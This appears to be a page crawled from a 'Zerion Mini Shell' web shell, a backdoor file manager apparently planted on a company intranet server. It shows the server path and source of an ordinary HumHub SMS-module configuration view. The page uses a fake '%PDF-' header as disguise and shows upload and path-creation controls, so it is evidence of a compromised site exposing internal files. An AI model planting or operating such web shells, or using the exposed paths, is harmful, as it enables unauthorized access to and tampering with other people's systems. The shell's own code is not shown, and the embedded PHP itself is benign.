%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/intranet.vacivitta.com.br/protected/modules/sms/views/config/
Upload File :
Create Path :
Current File : /home/vacivi36/intranet.vacivitta.com.br/protected/modules/sms/views/config/index.php

<?php

use humhub\libs\Html;
use humhub\modules\sms\forms\SmsProviderConfigureForm;
use humhub\modules\ui\form\widgets\ActiveForm;

/**
 * @var $model SmsProviderConfigureForm
 */

?>

<div class="panel panel-default">
    <div class="panel-heading">
        <?= Yii::t('SmsModule.base', 'SMS Module Configuration'); ?>
    </div>
    <div class="panel-body">
        <p><?= Yii::t('SmsModule.base', 'Within this configuration you can choose between different sms-providers and configurate these. You need to edit your account information for the chosen provider properly to have the sms-functionality work properly.'); ?></p>
        <p><?= Yii::t('SmsModule.base', 'To be able to send a sms to a specific account, make sure the profile field "mobile" exists in the account information.'); ?></p>

        <?php $form = ActiveForm::begin(); ?>

        <?php foreach ($model->attributeNames() as $attributeName): ?>
            <?= $model->getActiveFormElement($form, $attributeName); ?>
        <?php endforeach; ?>

        <?= Html::submitButton(Yii::t('SmsModule.base', 'Save Configuration'), ['class' => 'btn btn-primary submit-button']); ?>
        <?php $form::end(); ?>
    </div>
</div>

<script <?= Html::setNonce() ?>>
    // load the proper form if provider selection has changed.
    $('.provider-select').change(function () {
        $('.submit-button').click()
    });
</script>

Zerion Mini Shell 1.0